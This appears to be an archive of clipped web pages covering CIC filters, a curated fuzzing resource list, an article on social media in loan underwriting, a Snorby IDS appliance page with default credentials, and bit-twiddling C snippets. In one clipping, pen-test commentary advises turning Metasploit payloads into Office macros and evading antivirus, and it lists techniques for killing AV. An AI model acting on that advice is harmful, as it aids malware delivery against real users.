**Created:**| _4/13/2011 8:34:06 AM_  
---|---  
**Updated:**| _4/13/2011 8:34:06 AM_  
**Author:**| __  
**Tags:**| _DSP Gnuradio_  
  

# Cascaded integrator-comb filter

From Wikipedia, the free encyclopedia

Jump to: navigation, search

In digital signal processing, a **cascaded integrator-comb \(CIC\)** is an
optimized class of finite impulse response filter combined with an
interpolator or decimator.\[1\]\[2\]

A CIC filter consists of one or more integrator and comb filter pairs. In the
case of a decimating CIC, the input signal is fed through one or more cascaded
integrators, then a down-sampler, followed by one or more comb sections
\(equal in number to the number of integrators\). An interpolating CIC is
simply the reverse of this architecture, with the down-sampler replaced with a
zero-stuffer \(up-sampler\).\[2\]

# secfigo/Awesome-Fuzzing

**Created:**| _9/4/2017 9:45:50 AM_  
---|---  
**Updated:**| _9/4/2017 9:45:50 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# Welcome to Awesome Fuzzing <img
src='img/68747470733a2f2f63646e2e7261776769742e636f6d2f73696e647265736f726875732f617765736f6d652f643733303566333864323966656437386661383536353265336136336531353464643865383832392f6d656469612f62616467652e737667'
width='110' height='20' alt='Awesome' />

A curated list of fuzzing resources \( Books, courses - free and paid, videos,
tools, tutorials and vulnerable applications to practice on \) for learning
Fuzzing and initial phases of Exploit Development like root cause analysis.

### Table of Contents

  * Books
  * Courses
    * Free
    * Paid
  * Videos
    * NYU Poly Course videos
    * Conference talks and tutorials
  * Tutorials and Blogs
  * Tools
    * File Format Fuzzers
    * Network Protocol Fuzzers
    * Taint Analysis
    * Symbolic Execution SAT and SMT Solvers
    * Essential Tools
  * Vulnerable Applications
  * Anti-Fuzzing
  * Contributing

# Awesome Fuzzing Resources

## Books

_Books on fuzzing_

  * Fuzzing: Brute Force Vulnerability Discovery by Michael Sutton, Adam Greene, Pedram Amini.
  * Fuzzing for Software Security Testing and Quality Assurance  by Ari Takanen, Charles Miller, and Jared D Demott.
  * Open Source Fuzzing Tools by by Gadi Evron and Noam Rathaus.
  * Gray Hat Python by Justin Seitz.

> **Note:** Chapter\(s\) in the following books are dedicated to fuzzing.
>   * The Shellcoder's Handbook: Discovering and Exploiting Security Holes \(
> Chapter 15 \) by Chris Anley, Dave Aitel, David Litchfield and others.
>

>   * iOS Hacker's Handbook - Chapter 1 Charles Miller, Dino DaiZovi, Dion
> Blazakis, Ralf-Philip Weinmann, and Stefan Esser.
>

>   * IDA Pro - The IDA Pro Book: The Unofficial Guide to the World's Most
> Popular Disassembler
>

## Courses

_Courses/Training videos on fuzzing_

### Free

NYU Poly \( see videos for more \) \- Made available freely by Dan Guido.

Samclass.info \( check projects section and chapter 17 \)  \- by Sam.

Modern Binary Exploitation \( RPISEC \) - Chapter 15  \- by RPISEC.

Offensive Computer Security - Week 6 \- by W. Owen Redwood and Prof. Xiuwen
Liu.

### Paid

Offensive Security, Cracking The Perimeter \( CTP \) and Advanced Windows
Exploitation \( AWE \)

SANS 660/760 Advanced Exploit Development for Penetration Testers

Exodus Intelligence - Vulnerability development master class

## Videos

_Videos talking about fuzzing techniques, tools and best practices_

### NYU Poly Course videos

Fuzzing 101 \(Part 1\) \- by Mike Zusman.

Fuzzing 101 \(Part 2\) \- by Mike Zusman.

Fuzzing 101 \(2009\) \- by Mike Zusman.

Fuzzing - Software Security Course on Coursera \- by University of Maryland.

### Conference talks and tutorials

Youtube Playlist of various fuzzing talks and presentations  \- Lots of good
content in these videos.

Browser bug hunting - Memoirs of a last man standing \- by Atte Kettunen

Coverage-based Greybox Fuzzing as Markov Chain

## Tutorials and Blogs

_Tutorials and blogs which explain methodology, techniques and best practices
of fuzzing_

### \[2016 articles\]

Effective File Format Fuzzing \- Mateusz “j00ru” Jurczyk @ Black Hat Europe
2016, London

A year of Windows kernel font fuzzing Part-1 the results \- Amazing article by
Google's Project Zero, describing what it takes to do fuzzing and create
fuzzers.

A year of Windows kernel font fuzzing Part-2 the techniques \- Amazing article
by Google's Project Zero, describing what it takes to do fuzzing and create
fuzzers.

Interesting bugs and resources at fuzzing project \- by fuzzing-project.org.

Fuzzing workflows; a fuzz job from start to finish \- by @BrandonPrry.

A gentle introduction to fuzzing C++ code with AFL and libFuzzer \- by Jeff
Trull.

A 15 minute introduction to fuzzing \- by folks at MWR Security.

> **Note:** Folks at fuzzing.info has done a great job of collecting some
> awesome links, I'm not going to duplicate their work. I will add papers
> missed by them and from 2015 and 2016. Fuzzing Papers \- by fuzzing.info
Fuzzing Blogs \- by fuzzing.info

Root Cause Analysis of the Crash during Fuzzing \- by Corelan Team. Root cause
analysis of integer flow \- by Corelan Team.

Creating custom peach fuzzer publishers \- by Open Security Research

7 Things to Consider Before Fuzzing a Large Open Source Project \- by Emily
Ratliff.

##### From Fuzzing to Exploit:

From fuzzing to 0-day \- by Harold Rodriguez\(@superkojiman\).

From crash to exploit \- by Corelan Team.

##### Peach Fuzzer related tutorials

Getting Started with Peach

Fuzzing with Peach Part 1 \- by Jason Kratzer of corelan team

Fuzzing with Peach Part 2 \- by Jason Kratzer of corelan team.

Auto generation of Peach pit files/fuzzers \- by Frédéric Guihéry, Georges
Bossert.

##### AFL Fuzzer related tutorials

Fuzzing workflows; a fuzz job from start to finish \- by @BrandonPrry.

Fuzzing capstone using AFL persistent mode \- by @toasted\_flakes

RAM disks and saving your SSD from AFL Fuzzing

Bug Hunting with American Fuzzy Lop

Advanced usage of American Fuzzy Lop with real world examples

Segfaulting Python with afl-fuzz

Fuzzing Perl: A Tale of Two American Fuzzy Lops

Fuzzing With AFL-Fuzz, a Practical Example \( AFL vs Binutils \)

The Importance of Fuzzing...Emulators?

How Heartbleed could've been found

Filesystem Fuzzing with American Fuzzy lop

Fuzzing Perl/XS modules with AFL

How to fuzz a server with American Fuzzy Lop \- by Jonathan Foote

##### libFuzzer Fuzzer related tutorials

libFuzzer Tutorial

libFuzzer Workshop: "Modern fuzzing of C/C++ Projects"

##### Spike Fuzzer related tutorials

Fuzzing with Spike to find overflows

Fuzzing with Spike \- by samclass.info

##### FOE Fuzzer related tutorials

Fuzzing with FOE \- by Samclass.info

##### SMT/SAT solver tutorials

Z3 - A guide \- Getting Started with Z3: A Guide

## Tools

_Tools which helps in fuzzing applications_

### File Format Fuzzers

_Fuzzers which helps in fuzzing file formats like pdf, mp3, swf etc.,_

~~MiniFuzz \- Basic file format fuzzing tool by Microsoft.~~ \(No longer
available\)

BFF from CERT \- Basic Fuzzing Framework for file formats.

AFL Fuzzer \(Linux only\) \- American Fuzzy Lop Fuzzer by Michal Zalewski aka
lcamtuf

Win AFL \- A fork of AFL for fuzzing Windows binaries by Ivan Fratic

Shellphish Fuzzer \- A Python interface to AFL, allowing for easy injection of
testcases and other functionality.

TriforceAFL \- A modified version of AFL that supports fuzzing for
applications whose source code not available.

Peach Fuzzer \- Framework which helps to create custom dumb and smart fuzzers.

MozPeach \- A fork of peach 2.7 by Mozilla Security.

Failure Observation Engine \(FOE\) \- mutational file-based fuzz testing tool
for windows applications.

rmadair \- mutation based file fuzzer that uses PyDBG to monitor for signals
of interest.

honggfuzz \- A general-purpose, easy-to-use fuzzer with interesting analysis
options. Supports feedback-driven fuzzing based on code coverage. Supports
GNU/Linux, FreeBSD, Mac OSX and Android.

zzuf \- A transparent application input fuzzer. It works by intercepting file
operations and changing random bits in the program's input.

radamsa \- A general purpose fuzzer and test case generator.

binspector \- A binary format analysis and fuzzing tool

grammarinator \- Fuzzing tool for file formats based on ANTLR v4 grammars
\(lots of grammars already available from the ANTLR project\).

### Network Protocol Fuzzers

_Fuzzers which helps in fuzzing applications which use network based protocals
like HTTP, SSH, SMTP etc.,_

Peach Fuzzer \- Framework which helps to create custom dumb and smart fuzzers.

Sulley \- A fuzzer development and fuzz testing framework consisting of
multiple extensible components by Pedram Amini.

boofuzz \- A fork and successor of Sulley framework.

Spike \- A fuzzer development framework like sulley, a predecessor of sulley.

Metasploit Framework \- A framework which contains some fuzzing capabilities
via Auxiliary modules.

Nightmare \- A distributed fuzzing testing suite with web administration,
supports fuzzing using network protocols.

rage\_fuzzer \- A dumb protocol-unaware packet fuzzer/replayer.

### Misc

_Other notable fuzzers like Kernel Fuzzers, general purpose fuzzer etc.,_

KernelFuzzer \- Cross Platform Kernel Fuzzer Framework.

honggfuzz \- A general-purpose, easy-to-use fuzzer with interesting analysis
options.

Hodor Fuzzer \- Yet Another general purpose fuzzer.

libFuzzer \- In-process, coverage-guided, evolutionary fuzzing engine for
targets written in C/C++.

syzkaller \- Distributed, unsupervised, coverage-guided Linux syscall fuzzer.

ansvif \- An advanced cross platform fuzzing framework designed to find
vulnerabilities in C/C++ code.

### Taint Analysis

_How user input affects the execution_

PANDA \( Platform for Architecture-Neutral Dynamic Analysis \)

QIRA \(QEMU Interactive Runtime Analyser\)

### Symbolic Execution SAT and SMT Solvers

Z3 \- A theorem prover from Microsoft Research.

SMT-LIB \- An international initiative aimed at facilitating research and
development in Satisfiability Modulo Theories \(SMT\)

### References

I haven't included some of the legends like AxMan, please refer the following
link for more information. https://www.ee.oulu.fi/research/ouspg/Fuzzers

### Essential Tools

_Tools of the trade for exploit developers, reverse engineers_

#### Debuggers

Windbg \- The preferred debugger by exploit writers.

Immunity Debugger \- Immunity Debugger by Immunity Sec.

OllyDbg  \- The debugger of choice by reverse engineers and exploit writers
alike.

Mona.py \( Plugin for windbg and Immunity dbg \) \- Awesome tools that makes
life easy for exploit developers.

x64dbg \- An open-source x64/x32 debugger for windows.

Evan's Debugger \(EDB\) \- Front end for gdb.

GDB - Gnu Debugger \- The favorite linux debugger.

PEDA \- Python Exploit Development Assistance for GDB.

Radare2 \- Framework for reverse-engineering and analyzing binaries.

#### Disassemblers and some more

_Dissemblers, disassembly frameworks etc.,_

IDA Pro \- The best disassembler

binnavi \- Binary analysis IDE, annotates control flow graphs and call graphs
of disassembled code.

Capstone \- Capstone is a lightweight multi-platform, multi-architecture
disassembly framework.

#### Others

ltrace \- Intercepts library calls

strace \- Intercepts system calls

## Vulnerable Applications

Exploit-DB - https://www.exploit-db.com \(search and pick the exploits, which
have respective apps available for download, reproduce the exploit by using
fuzzer of your choice\)

PacketStorm - https://packetstormsecurity.com/files/tags/exploit/

Fuzzgoat \- Vulnerable C program for testing fuzzers.

##### Samples files for seeding during fuzzing:

https://files.fuzzing-project.org/

PDF Test Corpus from Mozilla

MS Office file format documentation

Fuzzer Test Suite \- Set of tests for fuzzing engines. Includes different
well-known bugs such as Heartbleed, c-ares $100K bug and others.

## Anti Fuzzing

Introduction to Anti-Fuzzing: A Defence In-Depth Aid

## Contributing

Please refer the guidelines at contributing.md for details.

Thanks to the following folks who made contributions to this project.

  * Tim Strazzere
  * jksecurity
  * and these awesome people

  

# How your social media activity can torpedo your loan application | Naked Security
**Created:**| _1/13/2014 8:31:17 PM_  
---|---  
**Updated:**| _1/13/2014 8:31:17 PM_  
**Author:**| __  
**Tags:**| _socialising intelligence OSINT browser_  
  

# **H** ow your social media activity can torpedo your loan application****

by Lisa Vaas  on January 13, 2014 | 1 Comment
We already know that social media missteps can, say, bury our chances for
getting hired  or get us arrested if we brag on Facebook or Twitter about what
bad-ass burglars we are**.**

Hang tight: there's actually a whole new world of d'oh**\!** opening up.

As the Wall Street Journal reports , our Facebook friends, our Twitter
musings, our eBay or PayPal accounts, our cookies, our browser behavior,
and/or our smartphone use are increasingly being used by financial services
outfits that are using our online selves to figure out whether they should
loan us money or extend our existing credit lines**.**

The WSJ's Stephanie Armour writes that the horrifically embarrassing things
some of us stumble into posting include financial details that could get our
credit applications denied, such as whether the job information we put on our
loan applications match what we posted on LinkedIn, or whether we posted about
our employers firing us**.**

Small businesses, for their part, may well be turned down for more credit if
they get lousy reviews on eBay, lending companies told the WSJ**.**

At this point, it seems that many such institutions are giving customers the
social-media once-over on an opt-in basis, often using the information as one
more way to get credit to borrowers who might otherwise have difficulty
getting a loan, though banking experts predict that it's likely to become more
pervasive and less opt-in than that**.**

For example, at one such business, the mobile-only bank Moven, customers can
opt to link up their Facebook, LinkedIn, and/or Twitter accounts to learn
about their own financial behavior and make payments to friends**.**

Moven is planning to offer loans, and customers' activity on social media will
be one factor in making those underwriting decisions, the bank's president,
Alex Sion, told the WSJ, noting that you can get a much better read on
creditworthiness that way:

> `The data we have on customers via social networks says more about them than
> their FICO [credit-score rating]**.** … You can make credit decisions based
> not on a faceless score, but on who you know**.**`
That "who you know" is quite literal, as in, the information provided by your
social networks**.**

Sasha Orloff, the co-founder and chief executive at another startup, Flurish
Inc**.** \(better known as LendUp\), says that analysis of a loan applicant's
ties to his or her community can be quite illuminating:

> `It's one of the tools we use to do underwriting**.** … Do you have 4,000
> friends but none are that close, or do you have 30 people but they're very
> close**?** There are ways to measure how engaged and how strong your
> community ties are**.**`
Beyond what your network of friends says about you, though, some financial
services firms are even assessing what type of phone you're using**.**

One example the WSJ highlighted: Kreditech, a microloan provider based in
Germany, which has been using such data to assess creditworthiness in the
250,000 loan applications it's processed since it launched in 2012**.**

Spokesman Laurent Schuller, as quoted by the newspaper:

> `Is someone using an expensive mobile phone like an iPhone or logging in
> from a Web cafe**?** Is their network on Facebook just drinking buddies from
> a bar**?** All of that can be important information.`
Small businesses are also being put under the online microscope when they look
for loans**.** Kabbage customers are required to link at least one of their
Amazon, eBay, Xero and other e-commerce or accounting sites to assess
creditworthiness**.**

When making loan decisions, Kabbage takes under consideration small
businesses' Facebook and Twitter presences, picking up on the dirt customers
dish out about the borrower's business and the quality of its customer
service**.**

Victoria Treyger, Kabbage's chief marketing officer, told the newspaper that
"likes" say a lot:

> `We look at whether you get a lot of 'likes,' are you responding to
> customers**.**`
Financial regulatory agencies are mulling regulation, as are privacy
groups**.**

Privacy comes into the picture particularly given that companies that use
social media to make lending decisions don't have to verify the information,
given that they don't have to provide it to third parties, as do the reporting
agencies Experian or Equifax**.**

That's why the Center for Digital Democracy, a US privacy group, is seeking
regulation of the trend**.**

Jeffrey Chester, executive director, told the WSJ that decisions based on
social media are just too opaque:

> `There are privacy concerns**.** People don't understand the implications or
> why they may be considered undesirable [for credit]**.**`
What do you think? Do you not mind if it means your chances of getting a loan
increase because of your Facebook posts or LinkedIn recommendations, or would
you rather that financial institutions keep their noses out of your social
media business**?**

Please share your thoughts in the comments section below**.**

Follow @LisaVaas

Follow @NakedSecurity

_Image ofpiggy bank  courtesy of Shutterstock **.**_

****

# Snorby virtual appliance - Cryptolife

**Created:**| _6/20/2010 10:35:03 PM_  
---|---  
**Updated:**| _6/20/2010 10:35:16 PM_  
**Author:**| __  
**Tags:**| _Linux iDS/iPS virtusalisation Lab-Setup_  
  

PDATE :Snorby bootable and installable iso image for bare metal servers  

  
**Snorby \(VmWare appliance version 1.4\), the new snort interface on VmWare
.**  

<img src='img/Temp2_7596.gif' width='67' height='37' />  
I've developed the Snorby virtual appliance to provide a preconfigured out of
the box Snorby front-end for snort, the popular intrusion detection system .
The Snorbyinterface is developed by Dustin Webber. This appliance is indicated
for security professionals with a depth knowledge of intrusion detection and
security monitoring. Nevertheless beginners can use the appliance to to
understand and learn about intrusion detection and network security.  
  
Comments and feedbacks are welcome by email:

**Snorby official web site:**http://snorby.org

**Snorby Issues:**http://github.com/mephux/Snorby/issues

**IRC:** \#snorby - irc.freenode.net

  

  
<img src='img/Temp2_7600.gif' width='185' height='139' />  
  
**Download** : spsa.1.4.zip  
**Size Compressed** : 319 MB  
**MD5** : 1ad43fc95204be9734ba13678fdddc98  

**Instructions:** You only have to uncompress the zip file and start the
virtual machine.  

\!\!\! Change the root password before connecting the machine on line. \!\!\!  

**Login** : root  
**Password** : t00r \(t-zero-zero-r\)  
**SSH** : Enabled  

  
**Snorby interface** : https://ipaddress:8080  
**Username** : Snorby  
**Password** : admin  
  
**Operating system** : Ubuntu Server 8.04 JEOS LTS <img
src='img/Temp2_7595.gif' width='60' height='45' alt='Image:Ubuntu.jpg' />  
**Changelog**

07-06-2010 - Spsa 1.4 Released  
\[\*\] Improvements and fixes

  * Snort 2.8.6 added  
\* Apache2-ssl support added \( https://ipaddress:8080 \)  
\* Crontab issue fixed  
\* Webmin removed  
\* Shellinabox removed  
\* Turnkey linux configuration console modified  
\* Snorby installation moved to /var/Snorby  

  

**Snort rules** : www.emergingthreats.net  
To update the Snort rules using OinkMaster run \#updatesnortrules  

  
**Database** :  
For the Mysql database there's no root password; please set up your  
own with ' /usr/bin/mysqladmin -u root password newpassword '  

  

  
Screenshots:  
  

  

<img src='img/Temp2_7602.gif' width='250' height='134' /> <img
src='img/Temp2_7599.gif' width='250' height='188' /> <img
src='img/Temp2_7594.gif' width='250' height='225' />  

  

<img src='img/Temp2_7598.gif' width='213' height='78' /> <img
src='img/Temp2_7597.gif' width='250' height='151' /> <img
src='img/Temp2_7601.gif' width='257' height='157' />

  

  

  

  

# Shellcode 2 VBScript « Didier Stevens

**Created:**| _7/25/2009 11:10:08 PM_  
---|---  
**Updated:**| _7/25/2009 11:11:17 PM_  
**Author:**| __  
**Tags:**| _post-exploitation_  
  

### Shellcode 2 VBScript

Filed under: Hacking, My Software — Didier Stevens @ 9:06

I had not posted my Python script to convert shellcode to VBScript, so here it
is.

Download:

shellcode2vbscript\_v0\_1.zip \(https\)

MD5: AAB0431127C657C9A3EF67E1C73E6711

SHA256: D1CDDAFCB734EC3F35E558DECFF2EDB73DC0C394936814B602B605F09DE4A5E5

  

  

AND

  

  

Tech Segment brought to you by John Strand and the letter "V"\(NOTE: "V" is
for VBscript\)How does the msfpayload V option work? How can you extend this
idea?In this video tech segment we take a look at the V option for msfpayload.
With this option we can output metasploit payloads into VBScript so they can
be loaded as Macros in Excel spreadsheets and Word documents. We also take a
look at exe2vba.rb and how we can take any exe file and output it into
VBScript. The Important thing to keep in mind is that you should not get
stopped by AV. There is always a way to get your payload to the target
enviroment you just have to be crafty on how you are going to get it there. I
fully expect that we will see some more cool client-side attack goodness
coming from the Metasploit project soon. Speaking of Metasploit.... I wonder
if Chris Gates has any word on Dean's new client side pen-testing project?  
  
Below are some great resources to get started with VBScripts in your pen-
tests:Mark Baggett's VBScript videoDarkoperator's post on exe2vbs that got me
started with this a few months back.Securiteam's walkthrough on how to import
the VBScript into a Word macroThe following links are from Invisible Denizen
on just how far you can take VBScripts in your tests:Download and execute a
fileRunning commands as SYSTEMKill AVChanging Windows firewall rules

# Bit Twiddling Hacks

**Created:**| _5/11/2011 9:00:58 PM_  
---|---  
**Updated:**| _5/11/2011 9:00:58 PM_  
**Author:**| __  
**Tags:**| _programming bit-magic_  
  

## Bit Twiddling Hacks

###  By Sean Eron Anderson  
seander@cs.stanford.edu

Individually, the **code snippets here are in the public domain** \(unless
otherwise noted\) — feel free to use them however you please. The aggregate
collection and descriptions are © 1997-2005 Sean Eron Anderson. The code and
descriptions are distributed in the hope that they will be useful, but
**WITHOUT ANY WARRANTY** and without even the implied warranty of
merchantability or fitness for a particular purpose. As of May 5, 2005, all
the code has been tested thoroughly. Thousands of people have read it.
Moreover,  Professor Randal Bryant, the Dean of Computer Science at Carnegie
Mellon University, has personally tested almost everything with his Uclid code
verification system. What he hasn't tested, I have checked against all
possible inputs on a 32-bit machine. **To the first person to inform me of a
legitimate bug in the code, I'll pay a bounty of US$10 \(by check or
Paypal\)**. If directed to a charity, I'll pay US$20.

###  Contents

  * About the operation counting methodology
  * Compute the sign of an integer
  * Detect if two integers have opposite signs

  * Compute the integer absolute value \(abs\) without branching
  * Compute the minimum \(min\) or maximum \(max\) of two integers without branching
  * Determining if an integer is a power of 2
  * Sign extending 
    * Sign extending from a constant bit-width
    * Sign extending from a variable bit-width
    * Sign extending from a variable bit-width in 3 operations
  * Conditionally set or clear bits without branching
  * Conditionally negate a value without branching
  * Merge bits from two values according to a mask
  * Counting bits set 
    * Counting bits set, naive way
    * Counting bits set by lookup table
    * Counting bits set, Brian Kernighan's way
    * Counting bits set in 12, 24, or 32-bit words using 64-bit instructions
    * Counting bits set, in parallel
    * Count bits set \(rank\) from the most-significant bit upto a given position
    * Select the bit position \(from the most-significant bit\) with the given count \(rank\)
  * Computing parity \(1 if an odd number of bits set, 0 otherwise\) 
    * Compute parity of a word the naive way
    * Compute parity by lookup table
    * Compute parity of a byte using 64-bit multiply and modulus division
    * Compute parity of word with a multiply
    * Compute parity in parallel
  * Swapping Values 
    * Swapping values with subtraction and addition
    * Swapping values with XOR
    * Swapping individual bits with XOR
  * Reversing bit sequences 
    * Reverse bits the obvious way
    * Reverse bits in word by lookup table
    * Reverse the bits in a byte with 3 operations \(64-bit multiply and modulus division\)
    * Reverse the bits in a byte with 4 operations \(64-bit multiply, no division\)
    * Reverse the bits in a byte with 7 operations \(no 64-bit, only 32\)
    * Reverse an N-bit quantity in parallel with 5 \* lg\(N\) operations
  * Modulus division \(aka computing _remainders_\) 
    * Computing modulus division by 1 << s without a division operation \(obvious\)
    * Computing modulus division by \(1 << s\) - 1 without a division operation
    * Computing modulus division by \(1 << s\) - 1 in parallel without a division operation
  * Finding integer log base 2 of an integer \(aka the position of the highest bit set\) 
    * Find the log base 2 of an integer with the MSB N set in O\(N\) operations \(the obvious way\)
    * Find the integer log base 2 of an integer with an 64-bit IEEE float
    * Find the log base 2 of an integer with a lookup table
    * Find the log base 2 of an N-bit integer in O\(lg\(N\)\) operations
    * Find the log base 2 of an N-bit integer in O\(lg\(N\)\) operations with multiply and lookup
  * Find integer log base 10 of an integer
  * Find integer log base 10 of an integer the obvious way
  * Find integer log base 2 of a 32-bit IEEE float
  * Find integer log base 2 of the pow\(2, r\)-root of a 32-bit IEEE float \(for unsigned integer r\)
  * Counting consecutive trailing zero bits \(or finding bit indices\) 
    * Count the consecutive zero bits \(trailing\) on the right linearly
    * Count the consecutive zero bits \(trailing\) on the right in parallel
    * Count the consecutive zero bits \(trailing\) on the right by binary search
    * Count the consecutive zero bits \(trailing\) on the right by casting to a float
    * Count the consecutive zero bits \(trailing\) on the right with modulus division and lookup
    * Count the consecutive zero bits \(trailing\) on the right with multiply and lookup
  * Round up to the next highest power of 2 by float casting
  * Round up to the next highest power of 2
  * Interleaving bits \(aka computing _Morton Numbers_\) 
    * Interleave bits the obvious way
    * Interleave bits by table lookup
    * Interleave bits with 64-bit multiply
    * Interleave bits by Binary Magic Numbers
  * Testing for ranges of bytes in a word \(and counting occurances found\) 
    * Determine if a word has a zero byte
    * Determine if a word has a byte equal to n
    * Determine if a word has byte less than n
    * Determine if a word has a byte greater than n
    * Determine if a word has a byte between m and n
  * Compute the lexicographically next bit permutation

* * *
###  About the operation counting methodology

When totaling the number of operations for algorithms here, any C operator is
counted as one operation. Intermediate assignments, which need not be written
to RAM, are not counted. Of course, this operation counting approach only
serves as an approximation of the actual number of machine instructions and
CPU time. All operations are assumed to take the same amount of time, which is
not true in reality, but CPUs have been heading increasingly in this direction
over time. There are many nuances that determine how fast a system will run a
given sample of code, such as cache sizes, memory bandwidths, instruction
sets, etc. In the end, benchmarking is the best way to determine whether one
method is really faster than another, so consider the techniques below as
possibilities to test on your target architecture.

* * *
###  Compute the sign of an integer

[code]

    int v;      // we want to find the sign of v
    int sign;   // the result goes here 
    
    // CHAR_BIT is the number of bits per byte (normally 8).
    sign = -(v < 0);  // if v < 0 then -1, else 0. 
    // or, to avoid branching on CPUs with flag registers (IA32):
    sign = -(int)((unsigned int)((int)v) >> (sizeof(int) * CHAR_BIT - 1));
    // or, for one less instruction (but not portable):
    sign = v >> (sizeof(int) * CHAR_BIT - 1); 
    
[/code]

The last expression above evaluates to sign = v >> 31 for 32-bit integers.
This is one operation faster than the obvious way, sign = -\(v < 0\). This
trick works because when signed integers are shifted right, the value of the
far left bit is copied to the other bits. The far left bit is 1 when the value
is negative and 0 otherwise; all 1 bits gives -1. Unfortunately, this behavior
is architecture-specific.

Alternatively, if you prefer the result be either -1 or +1, then use:

[code]

    sign = +1 | (v >> (sizeof(int) * CHAR_BIT - 1));  // if v < 0 then -1, else +1
    
[/code]

On the other hand, if you prefer the result be either -1, 0, or +1, then use:

[code]

    sign = (v != 0) | -(int)((unsigned int)((int)v) >> (sizeof(int) * CHAR_BIT - 1));
    // Or, for more speed but less portability:
    sign = (v != 0) | (v >> (sizeof(int) * CHAR_BIT - 1));  // -1, 0, or +1
    // Or, for portability, brevity, and (perhaps) speed:
    sign = (v > 0) - (v < 0); // -1, 0, or +1
    
[/code]

If instead you want to know if something is non-negative, resulting in +1 or
else 0, then use:

[code]

    sign = 1 ^ ((unsigned int)v >> (sizeof(int) * CHAR_BIT - 1)); // if v < 0 then 0, else 1
    
[/code]

Caveat: On March 7, 2003, Angus Duggan pointed out that the 1989 ANSI C
specification leaves the result of signed right-shift implementation-defined,
so on some systems this hack might not work. For greater portability, Toby
Speight suggested on September 28, 2005 that CHAR\_BIT be used here and
throughout rather than assuming bytes were 8 bits long. Angus recommended the
more portable versions above, involving casting on March 4, 2006. Rohit Garg
suggested the version for non-negative integers on September 12, 2009.

* * *
###  Detect if two integers have opposite signs

[code]

    int x, y;               // input values to compare signs
    
    bool f = ((x ^ y) < 0); // true iff x and y have opposite signs
    
[/code]

Manfred Weis suggested I add this entry on November 26, 2009.

* * *
###  Compute the integer absolute value \(abs\) without branching

[code]

    int v;           // we want to find the absolute value of v
    unsigned int r;  // the result goes here 
    int const mask = v >> sizeof(int) * CHAR_BIT - 1;
    
    r = (v + mask) ^ mask;
    
[/code]

Patented variation:

[code]

    r = (v ^ mask) - mask;
    
[/code]

Some CPUs don't have an integer absolute value instruction \(or the compiler
fails to use them\). On machines where branching is expensive, the above
expression can be faster than the obvious approach, r = \(v < 0\) ?
-\(unsigned\)v : v, even though the number of operations is the same.

On March 7, 2003, Angus Duggan pointed out that the 1989 ANSI C specification
leaves the result of signed right-shift implementation-defined, so on some
systems this hack might not work. I've read that ANSI C does not require
values to be represented as two's complement, so it may not work for that
reason as well \(on a diminishingly small number of old machines that still
use one's complement\). On March 14, 2004, Keith H. Duggar sent me the
patented variation above; it is superior to the one I initially came up with,
`r=(+1|(v>>(sizeof(int)*CHAR_BIT-1)))*v`, because a multiply is not used.
Unfortunately, this method has been  patented in the USA on June 6, 2000 by
Vladimir Yu Volkonsky and assigned to Sun Microsystems. On August 13, 2006,
Yuriy Kaminskiy told me that the patent is likely invalid because the method
was published well before the patent was even filed, such as in How to
Optimize for the Pentium Processor by Agner Fog, dated November, 9, 1996.
Yuriy also mentioned that this document was translated to Russian in 1997,
which Vladimir could have read. Moreover, the Internet Archive also has an old
link to it. On January 30, 2007, Peter Kankowski shared with me an abs version
he discovered that was inspired by Microsoft's Visual C++ compiler output. It
is featured here as the primary solution. On December 6, 2007, Hai Jin
complained that the result was signed, so when computing the abs of the most
negative value, it was still negative. On April 15, 2008 Andrew Shapira
pointed out that the obvious approach could overflow, as it lacked an
\(unsigned\) cast then; for maximum portability he suggested `(v < 0) ? (1 +
((unsigned)(-1-v))) : (unsigned)v`. But citing the ISO C99 spec on July 9,
2008, Vincent Lefèvre convinced me to remove it becasue even on
non-2s-complement machines -\(unsigned\)v will do the right thing. The
evaluation of -\(unsigned\)v first converts the negative value of v to an
unsigned by adding 2\*\*N, yielding a 2s complement representation of v's
value that I'll call U. Then, U is negated, giving the desired result, -U = 0
- U = 2\*\*N - U = 2\*\*N - \(v+2\*\*N\) = -v = abs\(v\).

* * *
###  Compute the minimum \(min\) or maximum \(max\) of two integers without
branching

[code]

    int x;  // we want to find the minimum of x and y
    int y;   
    int r;  // the result goes here 
    
    r = y ^ ((x ^ y) & -(x < y)); // min(x, y)
    
[/code]

On some rare machines where branching is very expensive and no condition move
instructions exist, the above expression might be faster than the obvious
approach, r = \(x < y\) ? x : y, even though it involves two more
instructions. \(Typically, the obvious approach is best, though.\) It works
because if x < y, then -\(x < y\) will be all ones, so r = y ^ \(x ^ y\) & ~0
= y ^ x ^ y = x. Otherwise, if x >= y, then -\(x < y\) will be all zeros, so r
= y ^ \(\(x ^ y\) & 0\) = y. On some machines, evaluating \(x < y\) as 0 or 1
requires a branch instruction, so there may be no advantage.

To find the maximum, use:

[code]

    r = x ^ ((x ^ y) & -(x < y)); // max(x, y)
    
[/code]

#### Quick and dirty versions:

If you know that INT\_MIN <= x - y <= INT\_MAX, then you can use the
following, which are faster because \(x - y\) only needs to be evaluated once.

[code]

    r = y + ((x - y) & ((x - y) >> (sizeof(int) * CHAR_BIT - 1))); // min(x, y)
    r = x - ((x - y) & ((x - y) >> (sizeof(int) * CHAR_BIT - 1))); // max(x, y)
    
[/code]

Note that the 1989 ANSI C specification doesn't specify the result of signed
right-shift, so these aren't portable. If exceptions are thrown on overflows,
then the values of x and y should be unsigned or cast to unsigned for the
subtractions to avoid unnecessarily throwing an exception, however the right-
shift needs a signed operand to produce all one bits when negative, so cast to
signed there.

On March 7, 2003, Angus Duggan pointed out the right-shift portability issue.
On May 3, 2005, Randal E. Bryant alerted me to the need for the precondition,
INT\_MIN <= x - y <= INT\_MAX, and suggested the non-quick and dirty version
as a fix. Both of these issues concern only the quick and dirty version. Nigel
Horspoon observed on July 6, 2005 that gcc produced the same code on a Pentium
as the obvious solution because of how it evaluates \(x < y\). On July 9, 2008
Vincent Lefèvre pointed out the potential for overflow exceptions with
subtractions in r = y + \(\(x - y\) & -\(x < y\)\), which was the previous
version. Timothy B. Terriberry suggested using xor rather than add and subract
to avoid casting and the risk of overflows on June 2, 2009.

* * *
###  Determining if an integer is a power of 2

[code]

    unsigned int v; // we want to see if v is a power of 2
    bool f;         // the result goes here 
    
    f = (v & (v - 1)) == 0;
    
[/code]

Note that 0 is incorrectly considered a power of 2 here. To remedy this, use:

[code]

    f = v && !(v & (v - 1));
    
[/code]

* * *
###  Sign extending from a constant bit-width

Sign extension is automatic for built-in types, such as chars and ints. But
suppose you have a signed two's complement number, x, that is stored using
only b bits. Moreover, suppose you want to convert x to an int, which has more
